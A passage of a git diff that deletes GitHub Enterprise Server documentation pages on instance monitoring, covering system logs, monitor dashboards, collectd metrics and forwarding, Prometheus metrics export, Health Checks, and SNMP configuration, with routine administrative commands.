:- | -| <pre>mysql</pre> | Records events related to the instance's MySQL database. | -| <pre>mssql</pre> | Records events related to the instance's MSSQL database. | - -### Journal logs for webhooks - -The following log files contain events related to webhooks that your instance sends. - -| Service name | Description | -| :- | :- | -| <pre>hookshot-go</pre> | Records events for all webhook activity on the instance, including triggered webhooks, deliveries, and failures.| - -## About system logs in support bundles - -If you generate a support bundle, the file includes system logs. For more information, see [AUTOTITLE](/support/contacting-github-support/providing-data-to-github-support). diff --git a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-the-monitor-dashboards.md b/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-the-monitor-dashboards.md deleted file mode 100644 index a0ce63d4b216..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-the-monitor-dashboards.md +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: 'About the monitor {% ifversion ghes > 3.15 %}dashboards{% else %}dashboard{% endif %}' -allowTitleToDifferFromFilename: true -intro: 'View historical data for details like CPU and storage usage, application and authentication response times, and general system health.' -redirect_from: - - /enterprise/admin/installation/accessing-the-monitor-dashboard - - /enterprise/admin/enterprise-management/accessing-the-monitor-dashboard - - /admin/enterprise-management/accessing-the-monitor-dashboard - - /admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-appliance/accessing-the-monitor-dashboard - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-instance/accessing-the-monitor-dashboard - - /admin/monitoring-and-managing-your-instance/monitoring-your-instance/accessing-the-monitor-dashboard -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Monitoring - - Performance -shortTitle: About the monitor {% ifversion ghes > 3.15 %}dashboards{% else %}dashboard{% endif %} ---- -## Accessing the monitor {% ifversion ghes > 3.15 %}dashboards{% else %}dashboard{% endif %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. In the top navigation bar, click **Monitor**. - - ![Screenshot of the header of the {% data variables.enterprise.management_console %}. A tab, labeled "Monitor", is highlighted with an orange outline.]({% ifversion ghes > 3.15 %}/assets/images/enterprise/management-console/monitor-dash-link.png{% else %}/assets/images/enterprise/management-console/monitor-dash-link-old.png{% endif %}) - -1. In HA and cluster environments you can switch between nodes using the dropdown and clicking on a different hostname. -{% ifversion ghes > 3.15 %} - -## Using the monitor dashboards - -The dashboards visualize metrics which can be useful for troubleshooting performance issues and better understanding how your {% data variables.product.prodname_ghe_server %} appliance is being used. The data behind the graphs is gathered by the `collectd` service and sampled every 10 seconds. - -Within the pre-built dashboards you can find various sections grouping graphs of different types of system resources. Use the links on the page to navigate between the dashboards. - -![Screenshot of the {% data variables.enterprise.management_console %} header. The dashboard navigation links provided at the top right are highlighted in orange.](/assets/images/enterprise/management-console/monitor-dash-navigation.png) - -### "Operational Health" dashboard - -This is the default dashboard displayed on the "Monitor" page. It visualizes key metrics that help you to get a quick overview of the health of your {% data variables.product.prodname_ghe_server %} appliance. - -### "System & Application Insights" dashboard - -On this more detailed dashboard you can get further insights into all aspects of the services that are running on your appliance. - -## Creating new dashboards - -Building your own dashboard and alerts requires the data to be forwarded to an external instance, by enabling `collectd` forwarding. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/configuring-collectd-for-your-instance). - -{% else %} - -## Using the monitor dashboard - -The page visualizes metrics which can be useful for troubleshooting performance issues and better understanding how your {% data variables.product.prodname_ghe_server %} appliance is being used. The data behind the graphs is gathered by the `collectd` service and sampled every 10 seconds. - -Within the pre-built dashboard you can find various sections grouping graphs of different types of system resources. - -Building your own dashboard and alerts requires the data to be forwarded to an external instance, by enabling `collectd` forwarding. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/configuring-collectd-for-your-instance). -{% endif %} - -## About the metrics on the monitor dashboards - -### System Health - -The system health graphs provide a general overview of services and system resource utilization. The CPU, memory, and load average graphs are useful for identifying trends or times where provisioned resource saturation has occurred. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/recommended-alert-thresholds). -{% ifversion ghes > 3.15 %} - -### Application Health - -These graphs include key metrics for the resource utilization of services that power {% data variables.product.prodname_ghe_server %}. They help visualize ongoing issues while processing requests. - -* **Nomad jobs:** The CPU and memory usage of individual services. {% data variables.product.prodname_ghe_server %} utilizes Nomad internally as the workload orchestrator. -* **Response code:** The number of responses by status code returned across {% data variables.product.prodname_ghe_server %} services. -* **Response time:** The speed of web requests at the 90th percentile in milliseconds. -* **Active workers:** The number of web workers busy per {% data variables.product.prodname_ghe_server %} application. -* **Queued requests:** The number of web requests queued per {% data variables.product.prodname_ghe_server %} application. It is expected for this panel to display 'No data' when no requests are queued up. -* **ElasticSearch Cluster Health:** The health status of the ElasticSearch cluster, based on the state of its primary and replica shards. This cluster powers {% data variables.product.prodname_ghe_server %} search. -{% endif %} - -### Processes - -The processes graph section looks deeper into the major individual services which make up the {% data variables.product.prodname_ghe_server %} appliance. Looking at these services individually can show how usage trends impact system resources over time. - -### Authentication - -The authentication graphs break down the rates at which users and applications are authenticating to the {% data variables.product.prodname_ghe_server %} appliance. We also track the protocol or service type such as Git or API for the authentications, which is useful in identifying broad user activity trends. The authentication graphs can help you find interesting trends or timeframes to look at when diving deeper into authentication and API request logs. - -### LDAP - -LDAP graphs will only display data if LDAP authentication is enabled on the {% data variables.product.prodname_ghe_server %} appliance. For more information, see [AUTOTITLE](/admin/managing-iam/using-ldap-for-enterprise-iam/using-ldap). These graphs can help you to identify slow responses from your LDAP server, as well as the overall volume of LDAP password based authentications. - -### App servers - -The application servers section provides insight into the activity of {% data variables.product.prodname_ghe_server %} services which provide data to users and integrations. - -### App request/response - -The **App request/response** section looks at the rate of requests, how quickly those requests are responded to, and with what status they returned. - -### Actions - -The graphs break down different metrics about {% data variables.product.prodname_actions %} on {% data variables.location.product_location %} including an overview of {% data variables.product.prodname_actions %} services web requests {% ifversion ghes > 3.15 %} and MSSQL database transaction log size{% endif %}. - -### Background jobs - -Number of tasks queued for background processing on the {% data variables.product.prodname_ghe_server %} appliance. - -### Network - -The network interface graphs can be useful in profiling user activity, and throughput of traffic in and out of the {% data variables.product.prodname_ghe_server %} appliance. - -### Storage - -{% data variables.product.prodname_ghe_server %} repository performance is very dependent on the underlying storage system. Low latency, local SSD disks provide the highest performance. For more information on the {% data variables.product.prodname_enterprise %} storage architecture, see [AUTOTITLE](/enterprise-server@3.14/admin/overview/system-overview). - -### Appliance-specific system services - -System services graphs contain data related to the major databases on {% data variables.product.prodname_ghe_server %}. These are MySQL, and Elasticseach persistent databases, as well as Redis and Memcached which contain ephemeral data. - -* Memcached: Provides a layer of in-memory caching for web and API operations. Memcached helps to provide quicker response times for users and integrations interacting with the system. -* MySQL: The primary database in {% data variables.product.prodname_ghe_server %}. User, issue, and other non-git or search related metadata is stored within MySQL. -* Nomad Jobs: {% data variables.product.prodname_ghe_server %} utilizes Nomad internally as the workload orchestrator, where the CPU and memory usage of individual services can be seen. -* Redis: The database mainly contains background job queue, as well as session state information. -* Kafka-Lite: Kafka broker service for job processing. -* Elasticsearch: Powers the built-in search features in {% data variables.product.prodname_ghe_server %}. -* Custom hooks: Graphs related to pre-receive hook execution. -* Git fetch caching: {% data variables.product.prodname_ghe_server %} will attempt to cache intensive operations, such as Git pack-objects, when multiple identical requests arrive in quick succession. -* MinIO: Storage used by some {% data variables.product.prodname_ghe_server %} services. -* Packages: Requests powering {% data variables.product.prodname_registry %}. -* SecretScanning: Services powering {% data variables.product.prodname_secret_scanning_caps %} features. -* CodeScanning: Services powering {% data variables.product.prodname_code_scanning_caps %} features. -* Cluster: Graphs related to {% data variables.product.prodname_ghe_server %} high availability or clustering. -* Babeld: Git proxy. -* Alive: Service powering live updates. -* Ghes-manage: Service powering GHES Manage API. diff --git a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/collectd-metrics-for-github-enterprise-server.md b/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/collectd-metrics-for-github-enterprise-server.md deleted file mode 100644 index 55d87d204b05..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/collectd-metrics-for-github-enterprise-server.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: collectd metrics for GitHub Enterprise Server -shortTitle: collectd metrics -intro: 'You can review the metrics that `collectd` gathers for {% data variables.location.product_location %}.' -versions: - ghes: '*' -type: reference -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Monitoring - - Performance -redirect_from: - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-instance/collectd-metrics-for-github-enterprise-server ---- - -## About `collectd` metrics - -By default, `collectd` on {% data variables.location.product_location %} gathers metrics related to the instance's performance. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/configuring-collectd-for-your-instance). - -You can learn more about the type of data that `collectd` gathers, and you can download a CSV file that contains a full list of metrics. - -## Metrics gathered by `collectd` plugins - -Plugins provide metrics to `collectd`. You can learn about each plugin available on {% data variables.location.product_location %}, and you can review documentation about the plugin. To review a full list of metrics for a {% data variables.product.prodname_ghe_server %} instance, see the [CSV file with `collectd` metrics](/assets/ghes-collectd-metrics.csv). - -| Plugin | Metrics gathered | More information | -| :- | :- | :- | -| `cpu` | Amount of time spent by the instance's CPU in various states: for example, execution of user code, execution of system code, waiting for I/O operations, and remaining idle | [Plugin:CPU](https://collectd.org/wiki/index.php/Plugin:CPU) in the `collectd` wiki | -| `curl_json` | On an instance in a high-availability, repository caching, or cluster configuration, data related to repository replication | [Plugin:cURL-JSON](https://collectd.org/wiki/index.php/Plugin:cURL-JSON) in the `collectd` wiki | -| `df` | Usage information about the instance's file system | [Plugin:DF](https://collectd.org/wiki/index.php/Plugin:DF) in the `collectd` wiki | -| `disk` | Performance statistics for the instance's hard disks and other block devices | [Plugin:Disk](https://collectd.org/wiki/index.php/Plugin:Disk) in the `collectd` wiki | -| `elasticsearch` | Statistics for Elasticsearch, which provides the instance's search functionality | [phobos182/collectd-elasticsearch](https://github.com/phobos182/collectd-elasticsearch/) repository on {% data variables.product.prodname_dotcom_the_website %} | -| `fhcount` | Total, used, and unused file handles for the instance's Linux OS | [Manpage collectd.conf(5)](https://www.collectd.org/documentation/manpages/collectd.conf.html#plugin-fhcount) in the `collectd` wiki | -| `haproxy` | Front-end connections to the instance from HAProxy's management socket | [mleinart/collectd-haproxy](https://github.com/mleinart/collectd-haproxy) repository on {% data variables.product.prodname_dotcom_the_website %} | -| `listener` | Active and queued connections to the instance's `github-unicorn`, `github-gitauth`, and `github-ernicorn` services | N/A | -| `load` | System load average | [Plugin:Load](https://collectd.org/wiki/index.php/Plugin:Load) in the `collectd` wiki | -| `memcached` | Number of connections and requests handled by the instance's memcached daemon, as well as CPU resources consumed, number of items cached, number of threads, and bytes sent and received | [Plugin:memcached](https://collectd.org/wiki/index.php/Plugin:memcached) in the `collectd` wiki | -| `memory` | Instance's memory usage | [Plugin:Memory](https://collectd.org/wiki/index.php/Plugin:Memory) in the `collectd` wiki | -| `minio` | On an instance that uses MinIO blob storage for {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %}, statistics for objects and buckets in the connected MinIO cluster from MinIO's `/metrics` endpoint | [minio/minio](https://github.com/minio/minio/blob/master/docs/metrics/prometheus/list.md) repository on {% data variables.product.prodname_dotcom_the_website %} | -| `mysql` | Statistics related to instance's MySQL database server | [Plugin:MySQL](https://collectd.org/wiki/index.php/Plugin:MySQL) in the `collectd` wiki | -| `netlink` | Statistics related to instance's network interface | [Plugin:Netlink](https://collectd.org/wiki/index.php/Plugin:Netlink) in the `collectd` wiki | -| `nginx` | Statistics related to the instance's Nginx HTTP server | [Plugin:nginx](https://collectd.org/wiki/index.php/Plugin:nginx) in the `collectd` wiki | -| `nomad` | Statistics related to the instance's scheduler and orchestrator, Nomad | N/A | -| `processes` | The number of processes and threads on the instance | [Plugin:Processes](https://collectd.org/wiki/index.php/Plugin:Processes) in the `collectd` wiki | -| `protocols` | The number of TCP, UDP, and other IP packets received and sent by the instance | [Plugin:Protocols](https://collectd.org/wiki/index.php/Plugin:Protocols) in the `collectd` wiki | -| `redis` | Statistics related to the instance's key-value store in Redis | [Plugin:Redis](https://collectd.org/wiki/index.php/Plugin:Redis) in the `collectd` wiki | -| `statsd` | Statistics sent to `collectd` using the StatsD protocol, including from a variety of features and services on the instance | [Plugin:StatsD](https://collectd.org/wiki/index.php/Plugin:StatsD) in the `collectd` wiki | -| `tcpconns` | The number of the instance's TCP connections in various states | [Plugin:TCPConns](https://collectd.org/wiki/index.php/Plugin:TCPConns) in the `collectd` wiki | -| `vmem` | Statistics related to the virtual memory subsystem for the instance's Linux OS kernel | [Plugin:vmem](https://collectd.org/wiki/index.php/Plugin:vmem) in the `collectd` wiki | diff --git a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/configuring-collectd-for-your-instance.md b/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/configuring-collectd-for-your-instance.md deleted file mode 100644 index ef915eb1f912..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/configuring-collectd-for-your-instance.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Configuring collectd for your instance -shortTitle: Configure collectd -intro: 'To gain insight into {% data variables.product.prodname_ghe_server %}''s performance, you can review data from `collectd` on your instance, or optionally send the data to an external `collectd` server.' -redirect_from: - - /enterprise/admin/installation/configuring-collectd - - /enterprise/admin/articles/configuring-collectd - - /enterprise/admin/enterprise-management/configuring-collectd - - /admin/enterprise-management/configuring-collectd - - /admin/enterprise-management/monitoring-your-appliance/configuring-collectd - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-appliance/configuring-collectd - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-instance/configuring-collectd - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-instance/configuring-collectd-for-your-instance -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Monitoring - - Performance ---- - -## About collectd for {% data variables.product.prodname_ghe_server %} - -`collectd` is a service that runs on {% data variables.location.product_location %} to gather and provide metrics about the system's performance. Common metrics that `collectd` gathers includes CPU utilization, memory and disk consumption, network interface traffic and errors, and a system's overall load. You can also forward the data to another `collectd` server. For more information see the [collectd wiki](https://github.com/collectd/collectd/wiki). - -Your instance uses metrics from `collectd` to display graphs in the {% data variables.enterprise.management_console %}'s monitor dashboard. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-the-monitor-dashboards). - -You can review a list of the metrics that `collectd` gathers on {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/collectd-metrics-for-github-enterprise-server). - -{% ifversion prometheus-metrics-exporter %} - -> [!TIP] In {% data variables.product.prodname_ghe_server %} 3.16, support was added for exporting `collectd` metrics in Prometheus format. This update does not change the existing metrics stack in the appliance but provides an easier way to ingest metrics into an observability platform by supporting the Prometheus protocol. An additional option is available to expose collectd metrics in Prometheus format with an endpoint. See [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/exporting-and-scraping-prometheus-metrics). - -{% endif %} - -## Set up an external `collectd` server - -If you haven't already set up an external `collectd` server, you will need to do so before enabling `collectd` forwarding on {% data variables.location.product_location %}. Your `collectd` server must be running `collectd` version 5.x or higher. - -1. Log into your `collectd` server. -1. Create or edit the `collectd` configuration file to load the network plugin and populate the server and port directives with the proper values. On most distributions, this is located at `/etc/collectd/collectd.conf` - -An example _collectd.conf_ to run a `collectd` server: - - LoadPlugin network - ... - ... - <Plugin network> - Listen "0.0.0.0" "25826" - </Plugin> - -## Enabling collectd forwarding on {% data variables.product.prodname_enterprise %} - -By default, `collectd` forwarding is disabled on {% data variables.product.prodname_enterprise %}. Follow the steps below to enable and configure `collectd` forwarding: - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. Below the log forwarding settings, select **Enable collectd forwarding**. -1. In the **Server address** field, type the address of the `collectd` server to which you'd like to forward {% data variables.product.prodname_enterprise %} appliance statistics. -1. In the **Port** field, type the port used to connect to the `collectd` server. (Defaults to 25826) -1. In the **Cryptographic setup** dropdown menu, select the security level of communications with the `collectd` server. (None, signed packets, or encrypted packets.) -{% data reusables.enterprise_management_console.save-settings %} - -## Exporting collectd data with `ghe-export-graphs` - -The command-line tool `ghe-export-graphs` will export the data that `collectd` stores in RRD databases. This command turns the data into XML and exports it into a single tarball (`.tgz`). - -Its primary use is to provide the {% data variables.contact.contact_ent_support %} team with data about a VM's performance, without the need for downloading a full Support Bundle. It shouldn't be included in your regular backup exports and there is no import counterpart. If you contact us through {% data variables.contact.contact_ent_support %}, we may ask for this data to assist with troubleshooting. - -### Usage - -```shell -ssh -p 122 admin@[hostname] -- 'ghe-export-graphs' && scp -P 122 admin@[hostname]:~/graphs.tar.gz . -``` - -## Troubleshooting - -### Central collectd server receives no data - -{% data variables.product.prodname_enterprise %} ships with `collectd` version 5.x. `collectd` 5.x is not backwards compatible with the 4.x release series. Your central `collectd` server needs to be at least version 5.x to accept data sent from {% data variables.location.product_location %}. - -For help with further questions or issues, visit {% data variables.contact.contact_ent_support %}. diff --git a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/exporting-and-scraping-prometheus-metrics.md b/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/exporting-and-scraping-prometheus-metrics.md deleted file mode 100644 index 1733b97edda9..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/exporting-and-scraping-prometheus-metrics.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Exporting and scraping Prometheus metrics -shortTitle: Export and scrape Prometheus metrics -intro: "{% data variables.product.prodname_ghe_server %} provides Prometheus-compatible metrics by transforming `collectd` data. These metrics can be scraped from a dedicated endpoint, allowing integration with observability and monitoring tools for performance insights." -versions: - feature: prometheus-metrics-exporter -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Monitoring - - Performance ---- - -{% data variables.product.prodname_ghe_server %} includes a Prometheus metrics exporter to simplify observability and monitoring. This feature allows metrics to be scraped directly from the appliance, eliminating the need to forward `collectd` metrics to an external `collectd` server for transformation before sending them to a Prometheus system. By supporting Prometheus-compatible metrics natively, the exporter enables seamless integration with external monitoring dashboards and alerting systems. - -## Enabling Prometheus metrics exporter and scraping metrics - -By default, the Prometheus metrics exporter and scraping are disabled. Enabling the exporter for `collectd` metrics opens the metrics endpoint (also knows as `scrape endpoint`) at `http(s)://HOSTNAME:9103`. Ensure that firewall rules allow traffic on port 9103. - -You can enable the Prometheus metrics exporter using the {% data variables.enterprise.management_console %}, the command line interface within the appliance, or the API. - -### Enabling using the {% data variables.enterprise.management_console %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. In the monitoring settings, select **Enable prometheus**. -1. In the **Trusted IPv4/IPv6 addresses or CIDR blocks in a comma-separated list** field, type the comma-separated list of ip addresses or CIDR blocks. An example: `10.0.0.1, 192.168.1.0/8`. If this field is left empty, then scraping requests from any source IP will be accepted. -{% data reusables.enterprise_management_console.save-settings %} - -### Enabling via the command line interface - -To enable the Prometheus metrics exporter, SSH into the {% data variables.product.prodname_ghe_server %} appliance and run the following commands: - -```shell -ghe-config app.prometheus.enabled true -# Specify a comma-separated list of trusted IPv4/IPv6 addresses or CIDR blocks. -ghe-config app.prometheus.trusted-ips "10.0.0.1, 192.168.1.0/8" -ghe-config-apply -``` - -### Enabling using the API - -You can enable the Prometheus metrics exporter using the API by sending a `PUT` request to update the configuration settings. - -```shell -curl -L -H "Content-Type: application/json" -X PUT -u "api_key:xxxxxxx" https://<hostname>/manage/v1/config/settings -d '{"prometheus": {"enabled": true, "trusted_ips": "10.0.0.1, 192.168.1.0/8"}}' -``` - -## Verifying the Prometheus metrics exporter is enabled - -To verify that the Prometheus metrics exporter is enabled, use `curl` to query the `/metrics` endpoint on port 9103. For more information about the administrative ports, see [AUTOTITLE](/admin/configuring-settings/configuring-network-settings/network-ports#administrative-ports). - -```shell -curl localhost:9103/metrics -``` - -If successful, the response will include metrics with the `collectd_` prefix. - -## Configuring your external Prometheus server - -To scrape exported metrics from {% data variables.product.prodname_ghe_server %}, add a scraping configuration to the `prometheus.yaml` file on your external Prometheus server. - -```yaml -- job_name: "ghes-prom-agent" - scrape_interval: 10s - static_configs: - - targets: ["http(s)://HOSTNAME:9103/metrics"] -``` - -## Support for the darkshipped Prometheus metrics exporter - -If you have been using the Prometheus metrics exporter since it was darkshipped in {% data variables.product.prodname_ghe_server %} 3.12, it will continue to work after upgrading to 3.16. In this version, you now have the option to specify trusted IPs for scraping requests. - -## Sharing feedback - -You can share your feedback on the Prometheus metrics exporter and scraping functionality with {% data variables.product.company_short %}. For help with questions or issues, visit {% data variables.contact.contact_ent_support %}. diff --git a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/generating-a-health-check-for-your-enterprise.md b/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/generating-a-health-check-for-your-enterprise.md deleted file mode 100644 index 2b8f868ea3b3..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/generating-a-health-check-for-your-enterprise.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Generating a Health Check for your enterprise -intro: 'You can gain insight into the general health and Git and API requests of {% data variables.location.product_location %} by generating a Health Check.' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Monitoring - - Performance -product: '{% data reusables.gated-features.generated-health-checks %}' -redirect_from: - - /admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-appliance/generating-a-health-check-for-your-enterprise - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-instance/generating-a-health-check-for-your-enterprise ---- - -> [!NOTE] -> Generating a Health Check is currently in {% data variables.release-phases.public_preview %} for {% data variables.product.prodname_ghe_server %} and subject to change. - -## About generated Health Checks - -You can create a support bundle for {% data variables.location.product_location %} that contains a lot of data, such as diagnostics and log files. To help analyze and interpret this data, you can generate a Health Check. For more information about support bundles, see [AUTOTITLE](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-support-bundles). - -A Health Check provides the following information about {% data variables.location.product_location %}. -* Insights into the general health of {% data variables.location.product_location %}, such as upgrade status, storage, and license seat consumption -* A security section, which focuses on subdomain isolation and user authentication -* Analysis of Git requests, with details about the busiest repositories and Git users -* Analysis of API requests, including the busiest times, most frequently requested endpoints, and most active callers - -If you're a Premium Plus customer and want to generate a Health Check for {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.github_support %}. For more information, see [AUTOTITLE](/support/contacting-github-support/creating-a-support-ticket). - -## Generating a Health Check - -Before you can generate a Health Check, you must create a support bundle. For more information, see [AUTOTITLE](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-support-bundles). - -1. Navigate to the {% data variables.contact.contact_landing_page_portal %}. -1. In the upper-right corner of the page, click **Premium**. -1. To the right of **Health Checks**, click **Request Health Check**. -1. Under "Select an enterprise account", use the drop-down menu to select an enterprise account. -1. Under "Upload a support bundle", click **Chose File** and choose a file to upload. Then, click **Request Health Check**. - -After you request a Health Check, a job is scheduled to generate the Health Check. After several hours to one day, the generated Health Check will appear in the "Health Checks" section of the {% data variables.contact.landing_page_portal %}. diff --git a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/index.md b/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/index.md deleted file mode 100644 index 405f17b2b9b1..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Monitoring your instance -intro: 'As use of {% data variables.location.product_location %} increases over time, the utilization of system resources, like CPU, memory, and storage will also increase. You can configure monitoring and alerting so that you''re aware of potential issues before they become critical enough to negatively impact application performance or availability.' -redirect_from: - - /enterprise/admin/guides/installation/system-resource-monitoring-and-alerting - - /enterprise/admin/guides/installation/monitoring-your-github-enterprise-appliance - - /enterprise/admin/installation/monitoring-your-github-enterprise-server-appliance - - /enterprise/admin/enterprise-management/monitoring-your-appliance - - /admin/enterprise-management/monitoring-your-appliance - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-appliance - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-instance -versions: - ghes: '*' -topics: - - Enterprise -children: - - /about-the-monitor-dashboards - - /recommended-alert-thresholds - - /setting-up-external-monitoring - - /configuring-collectd-for-your-instance - - /collectd-metrics-for-github-enterprise-server - - /monitoring-using-snmp - - /about-system-logs - - /troubleshooting-resource-allocation-problems - - /generating-a-health-check-for-your-enterprise - - /exporting-and-scraping-prometheus-metrics -shortTitle: Monitor your instance ---- diff --git a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/monitoring-using-snmp.md b/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/monitoring-using-snmp.md deleted file mode 100644 index 3c598dea1a7e..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/monitoring-your-instance/monitoring-using-snmp.md +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: Monitoring using SNMP -intro: '{% data variables.product.prodname_enterprise %} provides data on disk usage, CPU utilization, memory usage, and more over SNMP.' -redirect_from: - - /enterprise/admin/installation/monitoring-using-snmp - - /enterprise/admin/articles/monitoring-using-snmp - - /enterprise/admin/enterprise-management/monitoring-using-snmp - - /admin/enterprise-management/monitoring-using-snmp - - /admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-appliance/monitoring-using-snmp - - /admin/monitoring-managing-and-updating-your-instance/monitoring-your-instance/monitoring-using-snmp -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Infrastructure - - Monitoring - - Performance ---- -SNMP is a common standard for monitoring devices over a network. We strongly recommend enabling SNMP so you can monitor the health of {% data variables.location.product_location %} and know when to add more memory, storage, or processor power to the host machine. - -{% data variables.product.prodname_enterprise %} has a standard SNMP installation, so you can take advantage of the [many plugins](https://nagios-plugins.org/doc/man/check_snmp.html) available for Nagios or for any other monitoring system. - -## Configuring SNMP v2c - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.access-monitoring %} -{% data reusables.enterprise_management_console.enable-snmp %} -1. In the **Community string** field, enter a new community string. If left blank, this defaults to `public`. -{% data reusables.enterprise_management_console.save-settings %} -1. Test your SNMP configuration by running the following command on a separate workstation with SNMP support in your network: - - ```shell - # community-string is your community string - # hostname is the IP or domain of your Enterprise instance - $ snmpget -v 2c -c COMMUNITY-STRING -O e HOSTNAME hrSystemDate.0 - ``` - -This should return the system time on {% data variables.location.product_location %} host. - -## User-based security - -If you enable SNMP v3, you can take advantage of increased user based security through the User Security Model (USM). For each unique user, you can specify a security level: -* `noAuthNoPriv`: This security level provides no authentication and no privacy. -* `authNoPriv`: This security level provides authentication but no privacy. To query the appliance you'll need a username and password (that must be at least eight characters long). Information is sent without encryption, similar to SNMPv2. The authentication protocol can be either MD5 or SHA and defaults to SHA. -* `authPriv`: This security level provides authentication with privacy. Authentication, including a minimum eight-character authentication password, is required and responses are encrypted. A privacy password is not required, but if provided it must be at least eight characters long. If a privacy password isn't provided, the authentication password is used. The privacy protocol can be either DES or AES and defaults to AES. - -## Configuring users for SNMP v3 - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.access-monitoring %} -{% data reusables.enterprise_management_console.enable-snmp %} -1. Select **SNMP v3**. -1. Under "Username", type the unique username of your SNMP v3 user. -1. Select the **Security Level** dropdown menu, then click the security level for your SNMP v3 user. -1. For SNMP v3 users with the `authnopriv` security level, configure authentication. - * {% data reusables.enterprise_management_console.authentication-password %} - * {% data reusables.enterprise_management_console.authentication-protocol %} - * If your external monitoring system requires the SHA algorithm, {% data variables.product.prodname_ghe_server %} currently uses SHA-1. -1. For SNMP v3 users with the `authpriv` security level, configure authentication. - * {% data reusables.enterprise_management_console.authentication-password %} - * {% data reusables.enterprise_management_console.authentication-protocol %} - * Optionally, under "Privacy password", type the privacy password. - * Next to "Privacy password", select the **Protocol** dropdown menu, then click the privacy protocol method you want to use. - * If your external monitoring system requires the AES algorithm, {% data variables.product.prodname_ghe_server %} currently uses AES-128. -1. Click **Add user**. -{% data reusables.enterprise_management_console.save-settings %} - -### Querying SNMP data - -Both hardware and software-level information about your appliance is available with SNMP v3. Due to the lack of encryption and privacy for the `noAuthNoPriv` and `authNoPriv` security levels, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports. We include this table if you're using the `authPriv` security level. For more information, see the [MIB documentation](https://github.com/net-snmp/net-snmp-htdocs/blob/master/docs/mibs/HOST-RESOURCES-MIB.txt). - -With SNMP v2c, only hardware-level information about your appliance is available. The applications and services within {% data variables.product.prodname_enterprise %} do not have OIDs configured to report metrics. Several MIBs are available, which you can see by running `snmpwalk` on a separate workstation with SNMP support in your network: - -```shell -# community-string is your community string -# hostname is the IP or domain of your Enterprise instance -$ snmpwalk -v 2c -c COMMUNITY-STRING -O e HOSTNAME -``` - -Of the available MIBs for SNMP, the most useful is `HOST-RESOURCES-MIB` (1.3.6.1.2.1.25). See the table below for some important objects in this MIB: - -| Name | OID | Description | -| ---- | --- | ----------- | -| hrSystemDate.2 | 1.3.6.1.2.1.25.1.2 